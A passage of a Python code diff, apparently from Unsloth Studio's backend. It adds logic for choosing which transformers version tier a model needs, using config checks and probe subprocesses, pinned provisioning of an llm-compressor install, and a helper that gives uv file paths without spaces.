cfg.get("architectures", []), cfg.get("model_type"), ) - _config_needs_550_cache[model_name] = result + if _config_json_is_definitive(model_name, hf_token): + _config_needs_550_cache[cache_key] = result return result -def _check_config_needs_510(model_name: str) -> bool: - """Check ``config.json`` for Gemma 4 Unified / 12B architectures.""" - if model_name in _config_needs_510_cache: - return _config_needs_510_cache[model_name] +def _check_config_needs_530(model_name: str, hf_token: str | None = None) -> bool: + """True if ``config.json`` needs transformers 5.3.0 (Qwen3.5, Qwen3 MoE, GLM-4.7, LFM2.5-VL). + Local first, else fetched (authenticated with ``hf_token``); cached by (model, token) only + for a definitive read so a transient miss retries. False on error. + """ + cache_key = _token_cache_key(model_name, hf_token) + if cache_key in _config_needs_530_cache: + return _config_needs_530_cache[cache_key] - cfg = _load_config_json(model_name) - if cfg is None: - _config_needs_510_cache[model_name] = False - return False + cfg = _load_config_json(model_name, hf_token) + result = bool(cfg) and _config_needs_530(cfg) + if result: + logger.info( + "config.json check: %s needs transformers %s (architectures=%s, model_type=%s)", + model_name, + TRANSFORMERS_530_VERSION, + cfg.get("architectures", []), + cfg.get("model_type"), + ) + if _config_json_is_definitive(model_name, hf_token): + _config_needs_530_cache[cache_key] = result + return result - result = _config_needs_510(cfg) + +def _check_config_needs_510(model_name: str, hf_token: str | None = None) -> bool: + """Check ``config.json`` for Gemma 4 Unified / 12B architectures (authenticated with + ``hf_token``; cached by (model, token) only for a definitive read).""" + cache_key = _token_cache_key(model_name, hf_token) + if cache_key in _config_needs_510_cache: + return _config_needs_510_cache[cache_key] + + cfg = _load_config_json(model_name, hf_token) + result = bool(cfg) and _config_needs_510(cfg) if result: logger.info( "config.json check: %s needs transformers %s (architectures=%s, model_type=%s)", @@ -448,11 +848,395 @@ def _check_config_needs_510(model_name: str) -> bool: cfg.get("architectures", []), cfg.get("model_type"), ) - _config_needs_510_cache[model_name] = result + if _config_json_is_definitive(model_name, hf_token): + _config_needs_510_cache[cache_key] = result return result -def get_transformers_tier(model_name: str) -> str: +def _config_saved_by_transformers_5(cfg: dict | None) -> bool: + """True if ``config.json``'s ``transformers_version`` is >= 5. Only a cheap "worth + probing" hint (the saving version, not the minimum to load); the default-first probe + decides the actual tier.""" + if not isinstance(cfg, dict): + return False + ver = cfg.get("transformers_version") + if not isinstance(ver, str): + return False + try: + return int(ver.strip().split(".", 1)[0]) >= 5 + except ValueError: + return False + + +def _cached_config_json(model_name: str, hf_token: str | None) -> dict | None: + """Already-fetched config.json from the in-process cache (no new fetch); the tier checks + above populate it, and a miss just skips the version-field probe.""" + return _config_json_cache.get(_token_cache_key(model_name, hf_token)) + + +# --- Static tier from CONFIG_MAPPING_NAMES (AST only: no import/network/exec) --- +# A model_type absent from an overlay's mapping can't load there. Parse each sidecar's +# config map from source and pick the lowest tier that ships it, so a new arch routes +# correctly with no per-model table edit. Only ever upgrades default, never lowers. +_config_mapping_cache: dict[str, frozenset[str]] = {} + + +def _overlay_transformers_dir(tier: str) -> str | None: + """transformers source dir for a tier, located without importing it.""" + if tier != "default": + root = {"530": _VENV_T5_530_DIR, "550": _VENV_T5_550_DIR, "510": _VENV_T5_510_DIR}.get(tier) + src = os.path.join(root, "transformers") if root else None + return src if src and _safe_is_dir(Path(src)) else None + # default: the base 4.x transformers. find_spec resolves to a 5.x sidecar if one + # is already on sys.path, so skip any .venv_t5_* / llmcompressor overlay dir. + sidecars = tuple( + os.path.abspath(d) + os.sep + for d in (_VENV_T5_530_DIR, _VENV_T5_550_DIR, _VENV_T5_510_DIR, _VENV_LLMCOMPRESSOR_DIR) + ) + candidates = [] + try: + spec = importlib.util.find_spec("transformers") + if spec and spec.origin: + candidates.append(os.path.dirname(spec.origin)) + except Exception: + pass + candidates += [os.path.join(e, "transformers") for e in sys.path if e] + for c in candidates: + if _safe_is_dir(Path(c)) and not os.path.abspath(c).startswith(sidecars): + return c + return None + + +def _mapping_first_keys(value: ast.AST) -> set[str]: + """First keys of a dict literal, or of an OrderedDict(...)/dict(...)/.update(...) + built from 2-tuple lists and **{...} unpacking.""" + + def keys_of(node): + if isinstance(node, ast.Dict): + return list(node.keys) + if isinstance(node, (ast.List, ast.Tuple)): + return [ + el.elts[0] for el in node.elts if isinstance(el, (ast.Tuple, ast.List)) and el.elts + ] + return [] + + nodes = keys_of(value) + if isinstance(value, ast.Call): + for a in value.args: + nodes += keys_of(a) + for kw in value.keywords: # **{...} unpacking has kw.arg is None + if kw.arg is None: + nodes += keys_of(kw.value) + return {n.value for n in nodes if isinstance(n, ast.Constant) and isinstance(n.value, str)} + + +def _config_model_types(tier: str) -> frozenset[str]: + """model_type keys in a tier's CONFIG_MAPPING_NAMES (5.10 moved it to auto_mappings.py).""" + cached = _config_mapping_cache.get(tier) + if cached is not None: + return cached + tdir = _overlay_transformers_dir(tier) + if tdir is None: + return frozenset() # overlay not provisioned yet; do not cache so a later call re-reads + keys: set[str] = set() + for rel in ("models/auto/configuration_auto.py", "models/auto/auto_mappings.py"): + path = Path(tdir) / rel + if not _safe_is_file(path): + continue + try: + tree = ast.parse(path.read_text(encoding = "utf-8")) + for node in ast.walk(tree): + # direct binding, or a CONFIG_MAPPING_NAMES.update({...}) mutation + if isinstance(node, ast.Assign) and any( + isinstance(t, ast.Name) and t.id == "CONFIG_MAPPING_NAMES" for t in node.targets + ): + keys |= _mapping_first_keys(node.value) + elif isinstance(node, ast.Expr) and isinstance(node.value, ast.Call): + fn = node.value.func + if ( + isinstance(fn, ast.Attribute) + and fn.attr == "update" + and isinstance(fn.value, ast.Name) + and fn.value.id == "CONFIG_MAPPING_NAMES" + ): + keys |= _mapping_first_keys(node.value) + except Exception: + continue + result = frozenset(keys) + _config_mapping_cache[tier] = result + return result + + +def _tier_from_config_mapping(cfg: dict) -> str | None: + """Lowest tier whose transformers ships cfg's model_type, or None if unknown.""" + model_type = cfg.get("model_type") + if not isinstance(model_type, str): + for key in _NESTED_CONFIG_KEYS: + sub = cfg.get(key) + if isinstance(sub, dict) and isinstance(sub.get("model_type"), str): + model_type = sub["model_type"] + break + if not isinstance(model_type, str): + return None + for tier in sorted(_TIER_RANK, key = _TIER_RANK.get): + if model_type in _config_model_types(tier): + return tier + return None + + +# --- AutoConfig probe: general tier resolution for ambiguous models ---------- +# When the cheap signals only say "needs some 5.x", parse config.json with the built-in +# parser in each candidate sidecar (lowest first) instead of guessing. Generalizes beyond +# the hardcoded lists, e.g. dense NemotronH whose '-' (MLP) layer only 5.10 can parse. +_PROBE_TIER_ORDER = ("530", "550", "510") +_PROBE_TIMEOUT_SECS = 60 + +# config.json-only parse in a sidecar (--target dir on sys.path, no per-venv python). +# Built-in parser only, no repo code, no weights. Exit 0 = parses; token via env, not argv. +_PROBE_CONFIG_SCRIPT = r""" +import sys, os +os.environ["TOKENIZERS_PARALLELISM"] = "false" +target_dir, model_name = sys.argv[1], sys.argv[2] +if target_dir: # empty = probe the ambient (default 4.57.x) transformers, no sidecar prepend + sys.path.insert(0, target_dir) +try: + from transformers import AutoConfig + AutoConfig.from_pretrained(model_name, trust_remote_code=False) + sys.exit(0) +except Exception as exc: + # stderr encoding may not be UTF-8 (e.g. cp1252 on Windows); write bytes so a + # non-ASCII error message cannot itself raise UnicodeEncodeError. + sys.stderr.buffer.write((type(exc).__name__ + ": " + str(exc)).encode("utf-8", "replace")) + sys.exit(1) +""" + +# stderr fragments meaning "couldn't fetch/auth", NOT "needs a newer parser". +_PROBE_TRANSIENT_MARKERS = ( + "ConnectionError", + "HTTPError", + "Timeout", + "Max retries", + "Temporary failure", + "GatedRepoError", + "RepositoryNotFoundError", + "LocalEntryNotFoundError", + "OfflineModeIsEnabled", + "401", + "403", + "404", +) + + +def _stderr_is_transient(err: str) -> bool: + return any(marker in err for marker in _PROBE_TRANSIENT_MARKERS) + + +def _probe_tier_venvs(): + """tier -> (target_dir, ensure_fn), a function so the later _ensure_* defs resolve. The + ``default`` entry (empty target_dir = ambient 4.57.x) is only probed with include_default.""" + return { + "default": ("", lambda: True), + "530": (_VENV_T5_530_DIR, _ensure_venv_t5_530_exists), + "550": (_VENV_T5_550_DIR, _ensure_venv_t5_550_exists), + "510": (_VENV_T5_510_DIR, _ensure_venv_t5_510_exists), + } + + +def _probe_autoconfig(target_dir: str, model_name: str, hf_token: str | None) -> bool | None: + """Parse config.json with the built-in parser inside *target_dir*'s sidecar. + True = parses, False = parse/version failure (escalate), None = transient + (auth/network/offline/spawn) so the caller fails safe and does not cache. + """ + env = child_env_without_native_path_secret() + if hf_token: + env["HF_TOKEN"] = hf_token + # The probe relies on the implicit HF_TOKEN env (no token= arg). Clear any inherited + # HF_HUB_DISABLE_IMPLICIT_TOKEN=1 so a gated repo authenticates instead of 401ing + # into the 530 fail-safe. + env["HF_HUB_DISABLE_IMPLICIT_TOKEN"] = "0" + if _env_offline(): + env["HF_HUB_OFFLINE"] = "1" + env["TRANSFORMERS_OFFLINE"] = "1" + try: + result = subprocess.run( + [sys.executable, "-c", _PROBE_CONFIG_SCRIPT, target_dir, model_name], + capture_output = True, + text = True, + errors = "replace", + timeout = _PROBE_TIMEOUT_SECS, + env = env, + **_windows_hidden_subprocess_kwargs(), + ) + except subprocess.TimeoutExpired: + logger.warning("AutoConfig probe timed out for '%s' in %s", model_name, target_dir) + return None + except Exception as exc: + logger.warning("AutoConfig probe could not spawn for '%s': %s", model_name, exc) + return None + if result.returncode == 0: + return True + err = (result.stderr or "").strip() + if _stderr_is_transient(err): + logger.warning("AutoConfig probe transient failure for '%s': %s", model_name, err) + return None + logger.info("AutoConfig probe parse failure for '%s' in %s: %s", model_name, target_dir, err) + return False + + +def _probe_cache_key(model_name: str) -> str: + """Cache key for the probe result. A local checkpoint can be overwritten in place, so + fold in a cheap config.json signature (size + mtime) and re-probe when it changes. + Remote ids key by name alone (resolving a Hub revision would need a pre-activation hub + import that pins the wrong env).""" + try: + config_path = (Path(model_name) / "config.json").resolve() + st = config_path.stat() + except OSError: + return model_name + return f"{config_path}\0{st.st_size}:{st.st_mtime_ns}" + + +def _probe_tier( + model_name: str, + hf_token: str | None, + reason: str, + *, + include_default: bool = False, + floor: str = "530", +) -> str: + """Lowest tier whose built-in parser loads the config; *floor* is the fail-safe. + + Escalates ``_PROBE_TIER_ORDER`` (prefixed with the ambient ``default`` tier when + ``include_default``), returning the first that parses; never raises or escalates on + uncertainty: + - first success wins (cached unless a lower tier was skipped); + - transient failure (auth/network/offline) -> *floor*, uncached; + - a skipped/uninstallable sidecar -> uncached (a lower tier may yet be the answer); + - all tiers probed, none parse -> remote-code/custom model_type; keep *floor*. + + Known-5.x callers use ``floor='530'``; weak-signal callers (config saved by transformers + 5.x) use ``include_default=True, floor='default'`` so a model that still parses on 4.57.x + stays on the default. Cached per _probe_cache_key (process lifetime). No Hub sha is + resolved: that would import huggingface_hub before the sidecar is on sys.path. + """ + if os.environ.get("UNSLOTH_DISABLE_TIER_PROBE", "").lower() in ("1", "true", "yes"): + return floor + key = _probe_cache_key(model_name) + # Key by probe mode: the default-first path can return 'default', which must not be + # reused for a tokenizer/known-5.x caller (floor='530'). Legacy 530 keeps the bare key. + if include_default or floor != "530": + key = f"{key}\0floor={floor}:def={int(include_default)}" + if key in _probe_tier_cache: + return _probe_tier_cache[key] + + def _cache(tier: str, *, skipped: bool) -> str: + # Do not pin a result that depended on a skipped lower tier: once that sidecar is + # available the lowest valid tier may differ, so re-probe next call. + if not skipped: + _probe_tier_cache[key] = tier + return tier + + venvs = _probe_tier_venvs() + order = (("default",) + _PROBE_TIER_ORDER) if include_default else _PROBE_TIER_ORDER + probed_count = 0 + skipped_any = False + for tier in order: + target_dir, ensure_fn = venvs[tier] + try: + available = ensure_fn() + except Exception: + available = False + if not available: + skipped_any = True + continue + probed_count += 1 + ok = _probe_autoconfig(target_dir, model_name, hf_token) + if ok is True: + logger.info( + "Transformers tier %s selected for %s (AutoConfig probe; %s)", + tier, + model_name, + reason, + ) + return _cache(tier, skipped = skipped_any) + if ok is None: + logger.info("Tier probe inconclusive for %s (%s); using %s", model_name, reason, floor) + return floor # transient: retry next load + + # Nothing parsed. Only treat it as conclusive (and cache) when every tier was actually + # probed; a skipped sidecar means the environment is incomplete, so retry uncached. + if skipped_any or probed_count == 0: + logger.info( + "Tier probe incomplete for %s (%s); using %s (uncached)", model_name, reason, floor + ) + return floor + logger.info( + "Transformers tier %s selected for %s (AutoConfig probe found no higher tier; %s)", + floor, + model_name, + reason, + ) + return _cache(floor, skipped = False) + + +def _norm_separators(s: str) -> str: + """Collapse ``_``/whitespace to ``-`` (underscore aliases) but keep ``.`` so a + version dot (``qwen3.5``) isn't conflated with a size separator (``Qwen3-5B``).""" + return "".join("-" if ch in "_ \t" else ch for ch in s) + + +def _looks_like_hf_id(value: str) -> bool: + """True if *value* looks like a Hub id (``org/name``), not a local path. An + existing path is treated as a path, mirroring transformers' own resolution.""" + if not value or not value.strip(): + return False + if os.path.isabs(value) or value.startswith((".", "~")) or "\\" in value: + return False + if os.path.exists(value): + return False + return value.count("/") <= 1 + + +def _tier_from_name(name: str) -> tuple[str, str] | None: + """``(tier, reason)`` from name substrings (order 510 > 550 > 530), or ``None``. + + Underscore aliases match (``Qwen3_5`` == ``Qwen3.5``); a dot-version substring + matches only the dot/underscore form, never a hyphen, so ``Qwen3-6B`` size names + aren't promoted. + """ + lowered = name.lower() + norm = _norm_separators(lowered) + dotted = lowered.replace("_", ".") + if "assistant" in lowered and ("gemma-4" in norm or "gemma4" in norm): + return "510", "gemma-4 assistant variant" + for substrings, tier in ( + (TRANSFORMERS_510_MODEL_SUBSTRINGS, "510"), + (TRANSFORMERS_550_MODEL_SUBSTRINGS, "550"), + (TRANSFORMERS_5_MODEL_SUBSTRINGS, "530"), + ): + for s in substrings: + if "." in s: + if s in lowered or s in dotted: + return tier, s + elif s in lowered or _norm_separators(s) in norm: + return tier, s + return None + + +def _higher_tier_name_override(name_hint: str | None) -> str | None: + """510/550 tier if *name_hint* names a higher-tier model, else ``None``. Qwen3.6 + reuses Qwen3.5 config ids but needs the 5.5 sidecar, so a name hint overrides 530.""" + if not name_hint: + return None + hint = _tier_from_name(name_hint) + return hint[0] if hint is not None and hint[0] in ("510", "550") else None + + +def get_transformers_tier( + model_name: str, + hf_token: str | None = None, + probe: bool = True, +) -> str: """Return the transformers tier required for *model_name*. Returns ``"510"`` for models needing transformers 5.10.x (Gemma 4 Unified), @@ -460,36 +1244,111 @@ def get_transformers_tier(model_name: str) -> str: ``"530"`` for models needing transformers 5.3.0 (e.g. Ministral-3, Qwen3 MoE), or ``"default"`` for everything else (4.57.x). + Strong signals (architecture/model_type, name substrings) are fast paths. For local paths, + ``config.json`` is checked before name heuristics to avoid false-positives from directory + name fragments. When the only signal is the 5.x tokenizer class, the exact tier is resolved + by probing AutoConfig in each sidecar; a config saved by transformers 5.x with no fast-path + match is probed default-first, catching a new 5.x-only arch while 4.57.x-loadable models + stay on default. + + ``probe=False`` skips the sidecar subprocesses (used by the cheap + :func:`needs_transformers_5`); it still classifies via cheap signals (a 5.x-saved config + returns ``"530"``). ``probe=True`` (the activation path) resolves the exact tier. + Higher 5.x tiers run first. """ - lowered = model_name.lower() - - # Local checkpoint names can contain architecture substrings in their - # directory names (for example a pytest temp dir). If config.json exists, - # trust it before using name heuristics. + # Local path: trust config.json. If its arch matches a known sidecar, return; + # else fall back to the HF id in the config (not the folder name) for renamed dirs. local_cfg = Path(model_name) / "config.json" - if local_cfg.is_file(): - cfg = _load_config_json(model_name) - if cfg is not None and _config_needs_510(cfg): - logger.info( - "Transformers tier 510 selected for %s (local config.json check)", - model_name, - ) - return "510" - if cfg is not None and _config_needs_550(cfg): - logger.info( - "Transformers tier 550 selected for %s (local config.json check)", - model_name, - ) - return "550" + if _safe_is_file(local_cfg): + cfg = _load_config_json(model_name, hf_token) if cfg is not None: - local_tc = Path(model_name) / "tokenizer_config.json" - if local_tc.is_file() and _check_tokenizer_config_needs_v5(model_name): + if _config_needs_510(cfg): logger.info( - "Transformers tier 530 selected for %s (local tokenizer_config.json check)", + "Transformers tier 510 selected for %s (local config.json check)", + model_name, + ) + return "510" + if _config_needs_550(cfg): + logger.info( + "Transformers tier 550 selected for %s (local config.json check)", + model_name, + ) + return "550" + if _config_needs_530(cfg): + # Qwen3.6 reuses Qwen3.5 config ids but needs 5.5 by name. Only a real + # Hub id (or the folder basename) may override 530, so a stale local + # path in _name_or_path can't flip a correct 530 config to 550. + base = _resolve_base_model(model_name) + hint_src = ( + base + if (base != model_name and _looks_like_hf_id(base)) + else Path(model_name).name + ) + override = _higher_tier_name_override(hint_src) + if override is not None: + logger.info( + "Transformers tier %s selected for %s (name overrides 530 config)", + override, + model_name, + ) + return override + logger.info( + "Transformers tier 530 selected for %s (local config.json check)", model_name, ) return "530" + # Unknown arch: resolve the base id from config. A resolved local dir + # recurses (config check); a Hub id uses name rules only (no network). + resolved = _resolve_base_model(model_name) + if resolved != model_name: + if _safe_is_dir(Path(resolved)): + tier = get_transformers_tier(resolved, hf_token, probe = probe) + if tier != "default": + logger.info( + "Transformers tier %s selected for %s (resolved local path: %s)", + tier, + model_name, + resolved, + ) + return tier + elif _looks_like_hf_id(resolved): + result = _tier_from_name(resolved) + if result is not None: + tier, match = result + logger.info( + "Transformers tier %s selected for %s (resolved HF ID: %s, match: %s)", + tier, + model_name, + resolved, + match, + ) + return tier + static = _tier_from_config_mapping(cfg) + if static is not None and static != "default": + logger.info( + "Transformers tier %s selected for %s (config mapping: model_type absent below)", + static, + model_name, + ) + return static + local_tc = Path(model_name) / "tokenizer_config.json" + if _safe_is_file(local_tc) and _check_tokenizer_config_needs_v5(model_name, hf_token): + if not probe: + return "530" + return _probe_tier(model_name, hf_token, "local tokenizer needs 5.x") + if _config_saved_by_transformers_5(cfg): + if not probe: + return "530" # cheap 5.x hint; the real path resolves the exact tier + tier = _probe_tier( + model_name, + hf_token, + "local config saved by transformers 5.x", + include_default = True, + floor = "default", + ) + if tier != "default": + return tier logger.info( "Transformers tier default (4.57.x) selected for %s (local config.json no match)", model_name, @@ -497,50 +1356,70 @@ def get_transformers_tier(model_name: str) -> str: return "default" # --- Fast substring checks (no I/O) ------------------------------------ - if "assistant" in lowered and ("gemma-4" in lowered or "gemma4" in lowered): + result = _tier_from_name(model_name) + if result is not None: + tier, match = result logger.info( - "Transformers tier 510 selected for %s (gemma-4 assistant variant)", - model_name, - ) - return "510" - match = next((sub for sub in TRANSFORMERS_510_MODEL_SUBSTRINGS if sub in lowered), None) - if match is not None: - logger.info( - "Transformers tier 510 selected for %s (substring match: %s)", + "Transformers tier %s selected for %s (substring match: %s)", + tier, model_name, match, ) - return "510" - match = next((sub for sub in TRANSFORMERS_550_MODEL_SUBSTRINGS if sub in lowered), None) - if match is not None: - logger.info( - "Transformers tier 550 selected for %s (substring match: %s)", - model_name, - match, - ) - return "550" - match = next((sub for sub in TRANSFORMERS_5_MODEL_SUBSTRINGS if sub in lowered), None) - if match is not None: - logger.info( - "Transformers tier 530 selected for %s (substring match: %s)", - model_name, - match, - ) - return "530" + return tier - # --- Slow config fallbacks (network for HF IDs) ------------------------ - if _check_config_needs_510(model_name): + # --- Slow config fallbacks (network for HF IDs; authenticated with hf_token) -------- + if _check_config_needs_510(model_name, hf_token): logger.info("Transformers tier 510 selected for %s (config.json check)", model_name) return "510" - if _check_config_needs_550(model_name): + if _check_config_needs_550(model_name, hf_token): logger.info("Transformers tier 550 selected for %s (config.json check)", model_name) return "550" - if _check_tokenizer_config_needs_v5(model_name): - logger.info( - "Transformers tier 530 selected for %s (tokenizer_config.json check)", - model_name, + if _check_config_needs_530(model_name, hf_token): + # Qwen3.6 reuses Qwen3.5 config ids but needs 5.5 by name; honor a real Hub-id name + # hint from _name_or_path before selecting 530. + remote_cfg = _load_config_json(model_name, hf_token) or {} + base = remote_cfg.get("_name_or_path") or remote_cfg.get("model_name") + override = _higher_tier_name_override( + base if isinstance(base, str) and base != model_name else None ) + if override is not None: + logger.info( + "Transformers tier %s selected for %s (name overrides 530 config)", + override, + model_name, + ) + return override + logger.info("Transformers tier 530 selected for %s (config.json check)", model_name) return "530" + # _load_config_json (not the cache-only reader) so a config served from the hub + # cache during a transient outage still feeds the mapping resolver. + remote_cfg = _load_config_json(model_name, hf_token) + if remote_cfg is not None: + static = _tier_from_config_mapping(remote_cfg) + if static is not None and static != "default": + logger.info( + "Transformers tier %s selected for %s (config mapping: model_type absent below)", + static, + model_name, + ) + return static + if _check_tokenizer_config_needs_v5(model_name, hf_token): + if not probe: + return "530" + return _probe_tier(model_name, hf_token, "tokenizer needs 5.x") + + if _config_saved_by_transformers_5(_cached_config_json(model_name, hf_token)): + if not probe: + return "530" # cheap 5.x hint; the real path resolves the exact tier + tier = _probe_tier( + model_name, + hf_token, + "config saved by transformers 5.x", + include_default = True, + floor = "default", + ) + if tier != "default": + return tier logger.info("Transformers tier default (4.57.x) selected for %s (no match)", model_name) return "default" @@ -549,9 +1428,11 @@ def get_transformers_tier(model_name: str) -> str: def needs_transformers_5(model_name: str) -> bool: """Return True if *model_name* requires any transformers 5.x version. - Convenience wrapper around :func:`get_transformers_tier`. + Convenience wrapper around :func:`get_transformers_tier`. Passes ``probe=False`` so a + log-only parent caller never spawns sidecar probes (the worker re-resolves the exact + tier with ``probe=True`` on the real activation path). """ - return get_transformers_tier(model_name) != "default" + return get_transformers_tier(model_name, probe = False) != "default" # --------------------------------------------------------------------------- @@ -776,6 +1657,152 @@ def _ensure_venv_t5_exists() -> bool: return _ensure_venv_t5_550_exists() +# --- llm-compressor-main shadow (FP8/FP4 export of newer-transformers models) --------------------- +# Exact, reproducible pins (bump deliberately in review). Full 40-char SHA validated to FP8-quantize +# Qwen3.5 / Gemma-4 / Llama. +_LLMC_MAIN_TRANSFORMERS = "5.10.2" +_LLMC_MAIN_SHA = "973c9c539a84dd9efaf74e115ede5ca419704c18" +_LLMC_MAIN_COMPRESSED_TENSORS = "0.17.2a20260702" +# Installed --no-deps (torch untouched); the full runtime set llm-compressor main needs, pinned. +_VENV_LLMCOMPRESSOR_SPECS = ( + f"transformers=={_LLMC_MAIN_TRANSFORMERS}", + f"llmcompressor @ git+https://github.com/vllm-project/llm-compressor@{_LLMC_MAIN_SHA}", + f"compressed-tensors=={_LLMC_MAIN_COMPRESSED_TENSORS}", + "huggingface-hub==1.21.0", + "hf-xet==1.5.1", + "tokenizers==0.22.2", + "safetensors==0.8.0", + "accelerate==1.14.0", + "datasets==5.0.0", + "pydantic==2.13.4", + "pydantic-core==2.46.4", + "typing-inspection==0.4.2", + "loguru==0.7.3", + "pyyaml==6.0.3", + "nvidia-ml-py==13.610.43", + "pillow==12.3.0", + "auto-round==0.13.1", + "regex==2026.6.28", +) +# Fingerprint of the pin set; bump the trailing schema version to force a rebuild on layout changes. +_LLMC_SHADOW_FINGERPRINT = ( + f"{_LLMC_MAIN_SHA}|{_LLMC_MAIN_TRANSFORMERS}|{_LLMC_MAIN_COMPRESSED_TENSORS}|schema=1" +) +_LLMC_SHADOW_MARKER = ".unsloth_llmc_fingerprint" + + +def _llmcompressor_main_disabled() -> bool: + """True if the operator forbids the llm-compressor-main shadow (air-gapped / locked-down).""" + return os.environ.get("UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN", "").strip().lower() in { + "1", + "true", + "yes", + "on", + } + + +def _llmcompressor_shadow_is_valid() -> bool: + """True if the shadow dir exists with a marker matching the current pin fingerprint.""" + marker = Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER + try: + return marker.is_file() and marker.read_text().strip() == _LLMC_SHADOW_FINGERPRINT + except Exception: + return False + + +def _ensure_venv_llmcompressor_exists() -> bool: + """Ensure .venv_llmcompressor/ has the pinned llm-compressor-main stack. Install if missing. + + All specs are installed with --no-deps into a --target dir (mirrors the transformers sidecars), + so the workspace torch is never touched. Returns True on success. + """ + if _llmcompressor_shadow_is_valid(): + return True + if _llmcompressor_main_disabled(): + logger.warning( + "llm-compressor-main shadow needed but UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN is set; " + "compressed export of newer-transformers models will fail fast." + ) + return False + if _env_offline(): + logger.warning( + "llm-compressor-main shadow missing and HF/offline mode is set; cannot provision it." + ) + return False + + logger.warning( + "Provisioning llm-compressor-main shadow at %s (one-time, ~a few hundred MB, no torch) ...", + _VENV_LLMCOMPRESSOR_DIR, + ) + shutil.rmtree(_VENV_LLMCOMPRESSOR_DIR, ignore_errors = True) + os.makedirs(_VENV_LLMCOMPRESSOR_DIR, exist_ok = True) + + # Prefer uv (faster) then pip; install every spec at once, --no-deps, prereleases allowed + # (compressed-tensors ships as a pre-release). + base = [ + "--target", + _VENV_LLMCOMPRESSOR_DIR, + "--no-deps", + "--prerelease=allow", + *_VENV_LLMCOMPRESSOR_SPECS, + ] + cmds = [] + if shutil.which("uv"): + cmds.append(["uv", "pip", "install", "--python", sys.executable, *base]) + cmds.append( + [ + sys.executable, + "-m", + "pip", + "install", + *[a for a in base if a != "--prerelease=allow"], + "--pre", + ] + ) + + last_out = "" + for cmd in cmds: + result = subprocess.run( + cmd, + stdout = subprocess.PIPE, + stderr = subprocess.STDOUT, + text = True, + env = child_env_without_native_path_secret(), + **_windows_hidden_subprocess_kwargs(), + ) + last_out = result.stdout or "" + if result.returncode == 0: + try: + (Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER).write_text( + _LLMC_SHADOW_FINGERPRINT + ) + except Exception: + pass + logger.info("Provisioned llm-compressor-main shadow at %s", _VENV_LLMCOMPRESSOR_DIR) + return True + logger.warning("llm-compressor-main shadow install failed with %s; trying next", cmd[0]) + + logger.error( + "Failed to provision llm-compressor-main shadow (spec: llmcompressor@%s). Output:\n%s", + _LLMC_MAIN_SHA, + last_out[-4000:], + ) + return False + + +def llmcompressor_shadow_pythonpath() -> str | None: + """Provision (lazily) the llm-compressor-main shadow and return its sys.path entry, or None. + + Returns None when the shadow is disabled (UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN), offline, or + provisioning failed - callers then fall back to the fail-fast path. + """ + if _llmcompressor_main_disabled(): + return None + if _ensure_venv_llmcompressor_exists(): + return _VENV_LLMCOMPRESSOR_DIR + return None + + def _activate_venv(venv_dir: str, label: str) -> None: """Prepend *venv_dir* to sys.path, purge stale modules, reimport.""" if venv_dir not in sys.path: @@ -815,15 +1842,23 @@ def ensure_transformers_version(model_name: str) -> None: • Need 5.3.0 → prepend .venv_t5_530/ to sys.path, purge modules. • Need 4.x → remove all .venv_t5_*/ from sys.path, purge modules. - For custom-named LoRA adapters, the base model is resolved from - ``adapter_config.json`` before checking. + For custom-named LoRA adapters, the base model is resolved before checking + (from ``adapter_config.json`` or, for adapter_model-only LoRAs, the directory + name). NOTE: Training and inference use subprocess isolation instead. Used only by the export path (routes/export.py). """ - # Resolve LoRA adapters to their base model for accurate detection. - resolved = _resolve_base_model(model_name) + # Only pre-resolve for LoRA adapter dirs; see activate_transformers_for_subprocess. + if _is_lora_adapter_dir(Path(model_name)): + resolved = _resolve_base_model(model_name) + else: + resolved = model_name tier = get_transformers_tier(resolved) + if model_name != resolved and _safe_is_file(Path(model_name) / "config.json"): + # Gate on a real local config.json: a checkpoint carries config the base may not + # surface, but path names alone must not upgrade a plain adapter. + tier = _higher_tier(tier, get_transformers_tier(model_name)) if tier == "510": target_version = TRANSFORMERS_510_VERSION diff --git a/studio/backend/utils/uv_path_safety.py b/studio/backend/utils/uv_path_safety.py new file mode 100644 index 0000000000..519014c71c --- /dev/null +++ b/studio/backend/utils/uv_path_safety.py @@ -0,0 +1,66 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Hand uv a space-free `-c`/`--override`/`-r` file path (issue #6503). + +uv splits `-c`/`--override` (and UV_OVERRIDE) on whitespace, so a path with a +space truncates. Windows uses the 8.3 short form; POSIX copies the file into a +space-free temp dir (removed at exit). Falls back to the original path on error. +Shared by install_python_stack and utils.mlx_repair. +""" + +from __future__ import annotations + +import atexit +import os +import platform +import shutil +import tempfile + +IS_WINDOWS = platform.system() == "Windows" + +_UV_SAFE_PATH_TMPDIRS: list[str] = [] + + +@atexit.register +def _cleanup_uv_safe_path_tmpdirs() -> None: + while _UV_SAFE_PATH_TMPDIRS: + shutil.rmtree(_UV_SAFE_PATH_TMPDIRS.pop(), ignore_errors = True) + + +def uv_safe_path(path: object) -> str: + s = str(path) + if " " not in s: + return s + if IS_WINDOWS: + try: + import ctypes + from ctypes import wintypes + + get_short = ctypes.windll.kernel32.GetShortPathNameW + get_short.argtypes = [wintypes.LPCWSTR, wintypes.LPWSTR, wintypes.DWORD] + get_short.restype = wintypes.DWORD + buf = ctypes.create_unicode_buffer(32768) + rc = get_short(s, buf, 32768) + if 0 < rc < 32768 and " " not in buf.value: + return buf.value + except Exception: + pass + return s + tmp_dir = None + try: + if not os.path.isfile(s): + return s + tmp_dir = tempfile.mkdtemp(prefix = "unsloth_uv_") + if " " in tmp_dir: # e.g. TMPDIR itself has a space + shutil.rmtree(tmp_dir, ignore_errors = True) + return s + dst = os.path.join(tmp_dir, (os.path.basename(s) or "uv_args.txt").replace(" ", "_")) + shutil.copyfile(s, dst) + _UV_SAFE_PATH_TMPDIRS.append(tmp_dir) + tmp_dir = None + return dst + except Exception: + if tmp_dir is not None: # don't leak the temp dir if the copy failed + shutil.rmtree(tmp_dir, ignore_errors = True) + return s diff --git a/studio/backend/utils/wheel_utils.py b/studio/backend/utils/wheel_utils.py index 98697df83c..1b5926fd49 100644 --- a/studio/backend/utils/wheel_utils.py +++ b/studio/backend/utils/wheel_utils.py @@ -26,11 +26,14 @@ 